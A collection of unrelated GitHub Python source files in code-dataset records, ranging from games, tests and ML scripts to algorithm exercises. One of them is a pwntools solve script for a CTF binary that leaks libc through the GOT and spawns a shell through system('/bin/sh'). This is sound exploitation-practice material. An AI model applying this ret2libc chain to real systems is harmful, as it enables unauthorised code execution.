self.grid_cells[2][2].configure(text=str(top_4[2]), bg=BACKGROUND_COLOR_DICT[2048], fg=CELL_COLOR_DICT[2048])\n self.grid_cells[2][3].configure(text=str(top_4[3]), bg=BACKGROUND_COLOR_DICT[2048], fg=CELL_COLOR_DICT[2048])\n self.update()\n\n def init_grid(self):\n background = Frame(self, bg=BACKGROUND_COLOR_GAME, width=SIZE, height=SIZE)\n background.grid()\n\n for i in range(GRID_LEN):\n grid_row = []\n\n for j in range(GRID_LEN):\n\n cell = Frame(background, bg=BACKGROUND_COLOR_CELL_EMPTY, width=SIZE/GRID_LEN, height=SIZE/GRID_LEN)\n cell.grid(row=i, column=j, padx=GRID_PADDING, pady=GRID_PADDING)\n # font = Font(size=FONT_SIZE, family=FONT_FAMILY, weight=FONT_WEIGHT)\n t = Label(master=cell, text=\"\", bg=BACKGROUND_COLOR_CELL_EMPTY, justify=CENTER, font=FONT, width=4, height=2)\n t.grid()\n grid_row.append(t)\n\n self.grid_cells.append(grid_row)\n\n def gen(self):\n return randint(0, GRID_LEN - 1)\n\n def init_matrix(self):\n self.board = GameBoard()\n self.add_random_tile()\n self.add_random_tile()\n\n def update_grid_cells(self):\n for i in range(GRID_LEN):\n for j in range(GRID_LEN):\n new_number = int(self.board.grid[i][j])\n if new_number == 0:\n self.grid_cells[i][j].configure(text=\"\", bg=BACKGROUND_COLOR_CELL_EMPTY)\n else:\n n = new_number\n if new_number > 2048:\n c = 2048\n else:\n c = new_number\n\n self.grid_cells[i][j].configure(text=str(n), bg=BACKGROUND_COLOR_DICT[c], fg=CELL_COLOR_DICT[c])\n self.update_idletasks()\n \n def add_random_tile(self):\n if randint(0,99) < 100 * 0.9:\n value = 2\n else:\n value = 4\n\n cells = self.board.get_available_cells()\n pos = cells[randint(0, len(cells) - 1)] if cells else None\n\n if pos is None:\n return None\n else:\n self.board.insert_tile(pos, value)\n return pos\n\ngamegrid = GameGrid()","repo_name":"lesaun/2048-expectimax-ai","sub_path":"main_gui.py","file_name":"main_gui.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"74837000466","text":"from django.urls import reverse\nfrom django.test import TestCase\nfrom messaging.models import Thread, Message, MessageBox\nfrom profile.models import ActiveUser\n\n\nclass PostsTests(TestCase):\n fixtures = ['devel']\n\n def setUp(self):\n self.user = ActiveUser.objects.filter(username='user1')[0]\n\n # Create a new conversation\n self.mbox = Thread.objects.create_thread(self.user, 'Hello World!', 'Hello World!', ActiveUser.objects.filter(username='admin'))\n self.thread = self.mbox.thread\n\n self.client.login(username='user1', password='user1')\n\n def setDown(self):\n self.thread.delete()\n\n def test_lists(self):\n for url in ['messaging_inbox', 'messaging_archived']:\n response = self.client.get(reverse(url))\n self.assertEqual(response.status_code, 200)\n\n def test_create(self):\n response = self.client.get(reverse('messaging_create'))\n self.assertEqual(response.status_code, 200)\n\n form = {'title': 'Hello World!',\n 'recipients': 'admin',\n 'text': 'Hello admin!'}\n response = self.client.post(reverse('messaging_create'), form, follow=True)\n thread = Thread.objects.filter(title='Hello World!').first() # first() because ordering is reversed\n self.assertEqual(response.status_code, 200)\n self.assertEqual(thread.title, 'Hello World!')\n self.assertEqual(Message.objects.last().text, 'Hello admin!')\n self.assertEqual(MessageBox.objects.first().thread, thread) # first() because ordering is reversed\n\n # Remove thread\n thread.delete()\n\n def test_create_for_user(self):\n response = self.client.get(reverse('messaging_create', kwargs={'username': self.user}))\n self.assertEqual(response.status_code, 200)\n\n def test_show(self):\n url = reverse('messaging_show', kwargs={'thread': self.thread.pk})\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)\n\n def test_reply(self):\n url = reverse('messaging_reply', kwargs={'thread': self.thread.pk})\n response = self.client.post(url, {'text': 'Hello New World!'}, follow=True)\n self.assertEqual(response.status_code, 200)\n self.thread = Thread.objects.get(pk=self.thread.pk)\n self.assertEqual(self.thread.last_message.text, 'Hello New World!')\n\n def test_mark(self):\n marks = ['read', 'unread', 'starred', 'unstarred', 'archived', 'unarchived']\n for mark in marks:\n url = reverse('messaging_mark_'+mark, kwargs={'thread': self.thread.pk})\n response = self.client.get(url, follow=True)\n self.assertEqual(response.status_code, 200)\n","repo_name":"AlexandreDecan/Lexpage","sub_path":"app/messaging/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"38001276018","text":"import tkinter.font as tkFont\nfrom tkinter import Tk, IntVar, Label, Button, CENTER, Radiobutton, N\n\nimport numpy as np\nimport torch\n\nimport gym\nfrom ddpg import DDPG\nfrom dqn import DQN\nfrom reinforce import REINFORCE\nfrom td3 import TD3\n\n\nclass GUI:\n \"\"\"\n GUI class\n \"\"\"\n\n def __init__(self):\n \"\"\"\n GUI initializer\n \"\"\"\n\n # Window settings\n self.window = Tk()\n self.window.title('RL Go Game')\n self.window.geometry(str(500) + 'x' + str(330))\n\n # Window font\n font = tkFont.Font(family=\"Arial\", size=16)\n\n # Message to the user\n label = Label(self.window, text=\"Please, select the agent you want to play against:\")\n label['font'] = font\n label.pack(anchor=N, padx=20, pady=10)\n\n # Define all the possible options with game modes based on the agent\n self._selection = IntVar()\n r1 = Radiobutton(self.window, text=\"DQN (Easy)\", bg=\"#90F61B\", variable=self._selection, value=1)\n r1['font'] = font\n r1.pack(anchor=CENTER, padx=10, pady=10)\n\n r2 = Radiobutton(self.window, text=\"REINFORCE (Medium)\", bg=\"#F6C21B\", variable=self._selection, value=2)\n r2['font'] = font\n r2.pack(anchor=CENTER, padx=10, pady=10)\n\n r3 = Radiobutton(self.window, text=\"DDPG (Medium-Hard)\", bg=\"#F6911B\", variable=self._selection, value=3)\n r3['font'] = font\n r3.pack(anchor=CENTER, padx=10, pady=10)\n\n r4 = Radiobutton(self.window, text=\"TD3 (Hard)\", bg=\"#F6401B\", variable=self._selection, value=4)\n r4['font'] = font\n r4.pack(anchor=CENTER, padx=10, pady=10)\n\n # Button to start the game\n self.submit_btn = Button(self.window, text=\"Play game\", command=self.play_game)\n self.submit_btn['font'] = tkFont.Font(family=\"Arial\", size=16)\n self.submit_btn.pack(anchor=CENTER)\n\n def play_game(self):\n \"\"\"\n Method to play the game when the submit button has been pressed.\n \"\"\"\n\n # Default game values\n board_size = 7\n komi = 0\n\n # Initialize environment and retrieve its information\n go_env = gym.make('gym_go:go-v0', size=board_size, komi=komi)\n state_dim = np.prod(list(go_env.observation_space.shape))\n action_dim = go_env.action_space.n\n\n # Define empty agent policy\n policy = None\n\n # Retrieve selected agent\n agent_selected = self._selection.get()\n if agent_selected == 1: # DQN\n # Overwrite the state dim as it is trained with other values\n state_dim = go_env.observation_space.shape[1]\n # Define policy and load its NN weights\n policy = DQN(num_inputs=state_dim, num_actions=action_dim)\n policy.layers.load_state_dict(torch.load('./models/dqn/model.h5', map_location=torch.device('cpu')))\n elif agent_selected == 2: # REINFORCE\n # Overwrite the state dim as it is trained with other values\n state_dim = go_env.observation_space.shape[1]\n # Define policy and load its NN weights\n policy = REINFORCE(num_inputs=state_dim, num_actions=action_dim)\n policy.layers.load_state_dict(torch.load('./models/reinforce/model.h5', map_location=torch.device('cpu')))\n elif agent_selected == 3: # DDPG\n # Define policy and load its NN weights\n policy = DDPG(state_dim, action_dim, max_action=action_dim - 1)\n policy.load(\"ddpg\", directory='./models/ddpg')\n elif agent_selected == 4: # TD3\n # Define policy and load its NN weights\n policy = TD3(state_dim, action_dim, max_action=action_dim - 1)\n policy.load(\"td3\", directory='./models/td3')\n\n # Game loop\n done = False\n # Game not ended\n while not done:\n # Retrieve action from the user\n action = go_env.render(mode=\"human\")\n # Perform action on the game\n state, reward, done, info = go_env.step(action)\n\n # If the game has not ended\n if go_env.game_ended():\n break\n\n # The agent selects an action\n action = policy.select_action(state, go_env.valid_moves())\n # Perform action on the game\n state, reward, done, info = go_env.step(action)\n # Finally render game when ended\n go_env.render(mode=\"human\")\n\n def run_gui(self):\n # Tkinter window loop\n self.window.mainloop()\n","repo_name":"JoserraLP/go-game-rl","sub_path":"game_gui_tkinter.py","file_name":"game_gui_tkinter.py","file_ext":"py","file_size_in_byte":4500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4612474306","text":"import re\n\nrandStr = \"ape at the apex\"\n\n# No boundary\n# This will return ape from randStr as well as 'ape' from 'apex'\nregex = re.compile(r\"ape\")\nmatches = re.findall(regex,randStr)\nfor i in matches:\n print(i)\n\nprint()\n\n# Boundary\nregex_Bound = re.compile(r\"\\bape\\b\")\nmatches_Bound = re.findall(regex_Bound, randStr)\nfor j in matches_Bound:\n print(j)","repo_name":"Jadams29/Coding_Problems","sub_path":"Regular_Expressions/More_Adv_RegEX/RegEx_Advanced_WordBoundaries.py","file_name":"RegEx_Advanced_WordBoundaries.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28570622904","text":"# Zadanie 32. Dana jest tablica T[N] zawierająca liczby naturalne. Proszę napisać funkcję, która odpowiada\n# na pytanie, czy spośród (niekoniecznie wszystkich) elementów tablicy można utworzyć dwa podzbiory o\n# jednakowej sumie elementów, tak aby suma mocy obu podzbiorów wynosiła k. Do funkcji należy przekazać\n# wyłącznie tablicę T oraz liczbę naturalną k, funkcja powinna zwrócić wartość typu bool.\n\ndef solve(T, k):\n n = len(T)\n def recur(T, s1=0, s2=0, n1=0, n2=0, i=0):\n if s1 == s2 and n1 + n2 == k:\n return True\n if i == n:\n return False\n # biorę do pierwszego zbioru\n # recur(T, s1 + T[i], s2, n1 + 1, n2, i + 1)\n # do drugiego\n # recur(T, s1, s2 + T[i], n1, n2 + 1, i + 1)\n # nigdzie\n # recur(T, s1, s2, n1, n2, i + 1)\n \n\n return recur(T, s1 + T[i], s2, n1 + 1, n2, i + 1) or \\\n recur(T, s1, s2 + T[i], n1, n2 + 1, i + 1) or \\\n recur(T, s1, s2, n1, n2, i + 1)\n ","repo_name":"klark142/Introduction_to_Computer_Science","sub_path":"Zestaw 6/zad32.py","file_name":"zad32.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73442902224","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 13 08:41:28 2019\nhttps://robertopreste.com/blog/parse-xml-into-dataframe\n@author: Yazid BOUNAB\n\"\"\"\nimport pickle\n\nimport pandas as pd \nimport xml.etree.ElementTree as et \n\n\ndef SaveListToFile(mylist,filename):\n with open(filename, 'wb') as filehandle:\n pickle.dump(mylist, filehandle)\n \ndef LoadFileToList(filename):\n mylist = []\n with open(filename, 'rb') as filehandle: \n mylist = pickle.load(filehandle)\n return mylist\n\ndef LoadXML_to_Sessions():\n xtree = et.parse(\"Webscope_L24/ydata-search-query-log-to-entities-v1_0.xml\")\n xroot = xtree.getroot()\n\n Sessions = []\n #for child in xroot:\n Queries = []\n children = xroot.getchildren()\n for child in children:\n Session = {'id':'','numqueries':'','queries':[]}\n \n Session['id'] = child.attrib.get(\"id\")\n Session['numqueries'] = child.attrib.get(\"numqueries\")\n \n #Session['query'] = child[0].find('text').text\n #print (et.dump(child))\n for node in child:\n Attributes = {'adult':'', 'ambiguous':'', 'assessor':'', 'cannot-judge':'', 'navigational':'', 'no-wp':'', 'non-english':'', 'quote-question':'', 'starttime':''}\n Query = {'text':'','attribues':Attributes,'annotations':[]}\n Query['text'] = node.find('text').text if node is not None else None\n \n Queries.append(Query['text'])\n \n for key in Attributes.keys():\n Query['attribues'][key] = node.attrib.get(key)\n \n for annot in node.findall('annotation'):\n annotation = {'main':'','span':''}\n annotation['main'] = annot.attrib.get(\"main\")\n annotation['span'] = annot.find('span').text\n \n if annot.find('target'):\n Target = {'wiki-id':'','link':''}\n Target['id'] = annot.find('target').attrib.get('wiki-id')\n Target['link'] = annot.find('target').text\n \n annotation['target'] = Target\n Query['annotations'].append(annotation)\n \n Session['queries'].append(Query)\n Sessions.append (Session)\n return Sessions,Queries\n\n#Sessions,Queries = LoadXML_to_Sessions()\n\n#SaveListToFile(Queries,'Data/Queries.pkl')\n#SaveListToFile(Sessions,'Data/Sessions.pkl')\n","repo_name":"bounabyazid/SNA7","sub_path":"LoadXML.py","file_name":"LoadXML.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17372664012","text":"import cv2\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport skimage, os\nfrom skimage.morphology import (ball, disk, dilation, binary_erosion,\nremove_small_objects, erosion, closing, reconstruction, binary_closing)\nfrom skimage.measure import (label,regionprops, perimeter)\nfrom skimage.morphology import (binary_dilation, binary_opening)\nfrom skimage.filters import (roberts, sobel)\nfrom skimage.segmentation import clear_border\nfrom scipy import ndimage as ndi\nimport matplotlib.pyplot as plt\n\nimg = cv2.imread('/home/mca-pc74/proj/dataset/test.png',0)\nimg = cv2.getRectSubPix(img, (320, 220), (150, 170))\n\nplt.subplot(121),plt.imshow(img, cmap = 'gray')\nplt.title('Input Image'), plt.xticks([]), plt.yticks([])\n\nplt.show()\n\n(thresh, im_bw) = cv2.threshold(img, 128, 255, cv2.THRESH_BINARY |\ncv2.THRESH_OTSU)\nthresh = 150\nim_bw = cv2.threshold(img, thresh, 255, cv2.THRESH_BINARY)[1]\n\nplot = True\nif plot == True:\n f, plots = plt.subplots(9, 1, figsize=(5, 40))\n\n\nif plot == True:\n plots[0].axis('off')\n plots[0].imshow(im_bw, cmap=plt.cm.bone)\n\ncleared = clear_border(im_bw)\nif plot == True:\n plots[1].axis('off')\n plots[1].imshow(cleared, cmap=plt.cm.bone)\n\nlabel_image = label(cleared)\nif plot == True:\n plots[2].axis('off')\n plots[2].imshow(label_image, cmap=plt.cm.bone)\n\n\n\nareas = [r.area for r in regionprops(label_image)]\nareas.sort()\nif len(areas) > 2:\n for region in regionprops(label_image):\n if region.area < areas[-2]:\n for coordinates in region.coords:\n label_image[coordinates[0], coordinates[1]] = 0\nbinary = label_image > 0\n\n\nif plot == True:\n plots[3].axis('off')\n plots[3].imshow(binary, cmap=plt.cm.bone)\n\nselem = disk(10)\nbinary = binary_closing(binary, selem)\nif plot == True:\n plots[4].axis('off')\n plots[4].imshow(binary, cmap=plt.cm.bone)\n\nedges = roberts(binary)\nbinary = ndi.binary_fill_holes(edges)\nif plot == True:\n plots[5].axis('off')\n plots[5].imshow(binary, cmap=plt.cm.bone)\n\nget_high_vals = binary == 0\nimg[get_high_vals] = 0\nif plot == True:\n plots[6].axis('off')\n plots[6].imshow(img, cmap=plt.cm.bone)\n\n\n","repo_name":"akhilammu/MainProject","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12967708374","text":"import numpy as np\n\nfrom keras.applications import inception_v3\nfrom keras import backend\nfrom keras.preprocessing import image\n\nfrom myLib import Network\n\n\nclass InceptionV3(Network):\n\n def __init__(self, input_tensor=None):\n super().__init__()\n self.model = inception_v3.InceptionV3(input_tensor=input_tensor,\n weights='imagenet',\n include_top=False)\n\n @staticmethod\n def preprocess_image(img):\n img = image.img_to_array(img)\n img = np.expand_dims(img, axis=0)\n return inception_v3.preprocess_input(img)\n\n @staticmethod\n def deprocess_image(img):\n if backend.image_data_format() == 'channels_first':\n img = img.reshape((3, img.shape[2], img.shape[3]))\n img = img.transpose((1, 2, 0))\n else:\n img = img.reshape((img.shape[1], img.shape[2], 3))\n img /= 2.\n img += 0.5\n img *= 255.\n img = np.clip(img, 0, 255).astype('uint8')\n return img\n","repo_name":"LiamGow/490project","sub_path":"networkInceptionV3.py","file_name":"networkInceptionV3.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71472297106","text":"# 붓꽃의 품종을 예측 해 보는 매우 유명한 딥러닝 입문 예제 by 싸이킷런\nfrom sklearn import svm, metrics\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\n\n# 꽃받침 길이 / 꽃받침 폭 / 꽃잎 길이 / 꽃잎 너비 / 품종 으로 이루어진 csv 데이터를 불러옴\ncsv = pd.read_csv(\"data/iris.csv\")\n\n# iloc 인덱서를 사용해서 1~4번째 컬럼을 데이터로, 5번째 컬럼을 label로 분리\n# 컬럼명을 인덱서로 사용하려면 loc, 순서를 인덱서로 사용하려면 iloc, 둘다 섞어 쓰려면 ix\n# 인덱서의 입력 형식은 [행, 열]\ncsv_data = csv.iloc[:, :4]\ncsv_label = csv.iloc[:, 4:]\n\n# train_test_split을 이용해 훈련용데이터, 테스트용 데이터, 훈련용 라벨, 테스트용 라벨을 추출\n# sklearn.model_selection.train_test_split(*arrays, **options)\n# arrays -> lists, numpy arrays, scipy-sparse metrics, pandas dataframes\n# test_size (optional) (float, int, none) It will remain 0.25 only if train_size is unspecified, otherwise it will complement the specified train_size\n# train_size train split (float, int, none)\n# random_state -> (int) random seed\n# shuffle -> default : true\ntrain_data, test_data, train_label, test_label = train_test_split(csv_data, csv_label); #train_size={float}을 작게하면 할수록 정밀도가 낮아짐\n\n# 학습시키기\nclf = svm.SVC()\nclf.fit(train_data, train_label.values.ravel()) #fit 시킬 때 1차원 배열로 flatten 시켜준다. (반대로 다차원으로 만들 때는 reshape(x,y)\n\n# 학습 시킨 모델을 테스트 데이터로 예측하기\npredict = clf.predict(test_data)\n# 테��트 데이터와 예측 데이터의 비교를 통해 정확도를 예측해주는 메소드\naccuracy = metrics.accuracy_score(test_label, predict)\n\n# 자세한 결과 보기\ntest_label_flatten = test_label.values.ravel();\nfor index in range(len(test_label_flatten)):\n print(index, \"{0:30} {1:30} {2:}\".format(test_label_flatten[index], predict[index], test_label_flatten[index] == predict[index]))\n\nprint(\"Accuracy =\", accuracy)\n\n\n","repo_name":"gnu-gnu/beta-chu","sub_path":"basic-by-python/iris_train.py","file_name":"iris_train.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23693682644","text":"\"\"\"\nPE 32:\n\nWe shall say that an n-digit number is pandigital if it\nmakes use of all the digits 1 to n exactly once;\nfor example, the 5-digit number, 15234, is 1 through 5 pandigital.\n\nThe product 7254 is unusual, as the identity, 39 × 186 = 7254,\ncontaining multiplicand, multiplier, and product is 1 through 9 pandigital.\n\nFind the sum of all products whose multiplicand/multiplier/product identity\ncan be written as a 1 through 9 pandigital.\n\nHINT: Some products can be obtained in more than one way\nso be sure to only include it once in your sum.\n\"\"\"\n\n\ndef pandigital(a,b,c):\n number_list = ['1','2','3','4','5','6','7','8','9']\n test_string = str(a) + str(b) + str(c)\n\n if(len(test_string) != 9):\n return 0\n\n else:\n for x in number_list:\n if x not in test_string:\n return 0\n return 1\n\nproduct_list = []\nsum_of_products = 0\n\n\n# Not exactly sure how big the ranges on these\n# should be, it's not intuitive, this works though\nfor a in range(1,1000):\n for b in range(1,3000):\n c =a*b\n if(pandigital(a,b,c) != 1 or c in product_list):\n continue\n\n else:\n product_list.append(c)\n sum_of_products += c\n\n\nprint(product_list)\nprint(sum_of_products)\n","repo_name":"Clayton-Adamson/Python-projects","sub_path":"euler32/euler32.py","file_name":"euler32.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32659369109","text":"import sys\n\nn = int(sys.stdin.readline())\n\nfor _ in range(n) :\n # 문자열을 입력받는다\n string = sys.stdin.readline()\n # 문자열을 공백 기준으로 구분하고, 구분된 문자열의 길이를 구한다\n tmp = string.split()\n length = len(tmp[0])\n\n distance = []\n for i in range(length) :\n # 만약 후자쪽 문자열의 철자가 더 크다면, 그 철자에서 전자쪽 문자열의 철자를 빼고\n if ord(tmp[0][i]) <= ord(tmp[1][i]) : \n distance.append(abs(ord(tmp[0][i])-ord(tmp[1][i])))\n # 그 반대의 경우라면, 후자쪽 문자열의 철자에 26을 더하고, 전자쪽 문자열의 철자를 뺀다\n else :\n distance.append(abs(ord(tmp[1][i]) + 26 - ord(tmp[0][i])))\n print(\"Distances:\", *distance)","repo_name":"KimHyungkeun/Algorithm","sub_path":"Baekjoon/문자열/5218_알파벳거리.py","file_name":"5218_알파벳거리.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21744379439","text":"#!/usr/bin/python\n# Author: Hack.You\nfrom pwn import *\nimport warnings\n\ndef start(argv=[], *a, **kw):\n if args.GDB:\n return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)\n elif args.REMOTE: \n return remote(sys.argv[1], sys.argv[2], *a, **kw)\n else: \n return process([exe] + argv, *a, **kw)\n\n\ngdbscript = '''\ninit-pwndbg\ncontinue\n'''.format(**locals())\n\nexe = './storytime'\nelf = context.binary = ELF(exe, checksec=False)\ncontext.log_level = 'info'\nwarnings.filterwarnings(\"ignore\")\n\nio = start()\n\nlibc = elf.libc \n\noffset = 56\npop_rdi = 0x0000000000400703 # pop rdi; ret; \npop_rsi_r15 = 0x0000000000400701 # pop rsi; pop r15; ret; \npadding = 8 # pop rbp; ret;\nret = 0x000000000040048e # ret;\n\npayload = flat({\n offset: [\n # write(1, elf.got['write'], 8)\n pop_rsi_r15,\n elf.got['write'],\n 0x0,\n elf.sym['end']+16,\n b'A' * padding,\n elf.sym['climax']\n ]\n})\n\nio.sendline(payload)\n\n# Leak puts libc\nio.recvuntil(\"Tell me a story: \\n\")\nwrite_got = unpack(io.recv()[:6].ljust(8, b\"\\x00\"))\nlog.info(\"Write GOT: %#x\", write_got)\n\n# Calculate libc base\nlibc.address = write_got - libc.symbols['write']\nlog.info(\"Libc BASE: %#x\", libc.address)\n\nbin_sh = next(libc.search(b'/bin/sh\\x00'))\nsystem = libc.symbols['system']\nlog.info('/bin/sh: %#x', bin_sh)\nlog.info('System: %#x', system)\n\npayload = flat({\n offset: [\n pop_rdi,\n bin_sh,\n ret,\n system,\n ]\n})\n\nio.sendline(payload)\n\nio.interactive()\n","repo_name":"markuched13/markuched13.github.io","sub_path":"solvescript/practice/storytime/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25615781652","text":"import pandas as pd \nimport torch \nfrom torch.utils.data import Dataset\nfrom transformers import AutoTokenizer\nfrom ..datareader import DataReader \n\nclass SentABDL(Dataset): \n \n def __init__(self, path_data: str):\n self.df = DataReader(path_data).read()\n\n\n def __len__(self): \n return len(self.df)\n\n def __getitem__(self, index): \n sent1= self.df.iloc[index, 0] \n sent2= self.df.iloc[index, 1]\n label= self.df.iloc[index, 2]\n\n return sent1, sent2, label \n \nclass SentABCollate: \n def __init__(self, tokenizer_name: str= 'vinai/phobert-base-v2',\n mode: str= 'cross_encoder'):\n assert mode in ['bi_encoder', 'cross_encoder']\n self.tokenizer= AutoTokenizer.from_pretrained(tokenizer_name, add_prefix_space= True,\n use_fast= True)\n self.mode= mode\n \n def _tokenize(self, list_text):\n x= self.tokenizer.batch_encode_plus(list_text, \n truncation= True, \n padding= 'longest',\n return_tensors= 'pt', \n max_length= 256)\n \n return x\n\n def __call__(self, data): \n sent1, sent2, label= zip(*data)\n if self.mode == 'cross_encoder': \n text= list(zip(sent1, sent2))\n text= list(map(lambda x: self.tokenizer.sep_token.join(x), text))\n x = self._tokenize(text)\n return {\n 'x': x, \n 'label': torch.tensor(label) \n }\n elif self.mode == 'bi_encoder': \n x1= self._tokenize(sent1)\n x2= self._tokenize(sent2)\n\n return {\n 'x_1': x1,\n 'x_2': x2, \n 'label': torch.tensor(label)\n }\n\n\n\n ","repo_name":"Nguyendat-bit/RAG_chatbot","sub_path":"src/rag_chatbot/datasets/dataloader/sentenceab.py","file_name":"sentenceab.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25873548211","text":"def dfs(W,H):\n if W == 0:\n return 1\n if dp[W][H]:\n return dp[W][H]\n dp[W][H] = dfs(W-1,H+1)\n if H>0:\n dp[W][H] += dfs(W,H-1)\n return dp[W][H]\n\n\ndp = [[0]*31 for _ in range(31)]\n\nfor i in range(1,31):\n dfs(i,0)\n\nwhile True:\n N = int(input())\n\n if not N:\n break\n print(dp[N][0])","repo_name":"gkgg123/TIL_new","sub_path":"알고리즘/백준/4811_알약_version1.py","file_name":"4811_알약_version1.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21457692770","text":"\"\"\"Tests for assess_persistent_storage module.\"\"\"\n\nimport StringIO\nfrom subprocess import CalledProcessError\nfrom textwrap import dedent\n\nfrom mock import (\n Mock,\n patch,\n )\n\nimport assess_persistent_storage as aps\nfrom tests import (\n parse_error,\n TestCase,\n )\nfrom utility import JujuAssertionError\n\n\nclass TestParseArgs(TestCase):\n\n def test_common_args(self):\n args = aps.parse_args(\n [\"an-env\", \"/bin/juju\", \"/tmp/logs\", \"an-env-mod\"])\n self.assertEqual(\"an-env\", args.env)\n self.assertEqual(\"/bin/juju\", args.juju_bin)\n self.assertEqual(\"/tmp/logs\", args.logs)\n self.assertEqual(\"an-env-mod\", args.temp_env_name)\n self.assertEqual(False, args.debug)\n\n def test_help(self):\n fake_stdout = StringIO.StringIO()\n with parse_error(self) as fake_stderr:\n with patch(\"sys.stdout\", fake_stdout):\n aps.parse_args([\"--help\"])\n self.assertEqual(\"\", fake_stderr.getvalue())\n self.assertNotIn(\"TODO\", fake_stdout.getvalue())\n\n\nclass TestGetStorageSystems(TestCase):\n def test_returns_single_known_filesystem(self):\n storage_json = dedent(\"\"\"\\\n filesystems:\n 0/0:\n provider-id: 0/1\n storage: single-fs/1\n attachments:\n machines:\n \"0\":\n mount-point: /srv/single-fs\n read-only: false\n life: alive\n units:\n dummy-storage/0:\n machine: \"0\"\n location: /srv/single-fs\n life: alive\n pool: rootfs\n size: 28775\n life: alive\n status:\n current: attached\n since: 14 Mar 2017 17:01:15+13:00\n \"\"\")\n client = Mock()\n client.list_storage.return_value = storage_json\n\n self.assertEqual(\n aps.get_storage_filesystems(client, 'single-fs'),\n ['single-fs/1'])\n\n def test_returns_empty_list_when_none_found(self):\n storage_json = dedent(\"\"\"\\\n filesystems:\n 0/0:\n provider-id: 0/1\n storage: single-fs/1\n attachments:\n machines:\n \"0\":\n mount-point: /srv/single-fs\n read-only: false\n life: alive\n units:\n dummy-storage/0:\n machine: \"0\"\n location: /srv/single-fs\n life: alive\n pool: rootfs\n size: 28775\n life: alive\n status:\n current: attached\n since: 14 Mar 2017 17:01:15+13:00\n \"\"\")\n client = Mock()\n client.list_storage.return_value = storage_json\n\n self.assertEqual(\n aps.get_storage_filesystems(client, 'not-found'),\n [])\n\n def test_returns_many_for_multiple_finds(self):\n storage_json = dedent(\"\"\"\\\n filesystems:\n \"0/0\":\n provider-id: 0/1\n storage: multi-fs/1\n attachments:\n machines:\n \"0\":\n mount-point: /srv/multi-fs\n read-only: false\n life: alive\n units:\n dummy-storage/0:\n machine: \"0\"\n location: /srv/multi-fs\n life: alive\n pool: rootfs\n size: 28775\n life: alive\n status:\n current: attached\n since: 14 Mar 2017 17:01:15+13:00\n 0/1:\n provider-id: 0/2\n storage: multi-fs/2\n attachments:\n machines:\n \"0\":\n mount-point: /srv/multi-fs\n read-only: false\n life: alive\n units:\n dummy-storage/0:\n machine: \"0\"\n location: /srv/multi-fs\n life: alive\n pool: rootfs\n size: 28775\n life: alive\n status:\n current: attached\n since: 14 Mar 2017 17:01:15+13:00\n \"\"\")\n client = Mock()\n client.list_storage.return_value = storage_json\n\n self.assertEqual(\n aps.get_storage_filesystems(client, 'multi-fs'),\n ['multi-fs/1', 'multi-fs/2'])\n\n\nclass TestAssertStorageIsIntact(TestCase):\n\n def test_passes_when_token_values_match(self):\n client = Mock()\n stored_values = {'single-fs-token': 'abc123'}\n expected_results = {'single-fs-token': 'abc123'}\n with patch.object(\n aps, 'get_stored_token_content',\n autospec=True,\n return_value=stored_values) as m_gstc:\n aps.assert_storage_is_intact(client, expected_results)\n m_gstc.assert_called_once_with(client)\n\n def test_ignores_token_values_not_supplied(self):\n client = Mock()\n stored_values = {\n 'single-fs-token': 'abc123',\n 'multi-fs-token/1': '00000'\n }\n expected_results = {'single-fs-token': 'abc123'}\n with patch.object(\n aps, 'get_stored_token_content',\n autospec=True,\n return_value=stored_values) as m_gstc:\n aps.assert_storage_is_intact(client, expected_results)\n m_gstc.assert_called_once_with(client)\n\n def test_raises_when_token_values_do_not_match(self):\n client = Mock()\n stored_values = {'single-fs-token': 'abc123x'}\n expected_results = {'single-fs-token': 'abc123'}\n with patch.object(\n aps, 'get_stored_token_content',\n autospec=True,\n return_value=stored_values):\n with self.assertRaises(JujuAssertionError):\n aps.assert_storage_is_intact(client, expected_results)\n\n\nclass TestGetStoredTokenContent(TestCase):\n\n def test_raises_if_token_file_not_present(self):\n client = Mock()\n client.get_juju_output.side_effect = CalledProcessError(-1, None, '')\n with self.assertRaises(JujuAssertionError):\n aps.get_stored_token_content(client)\n\n def 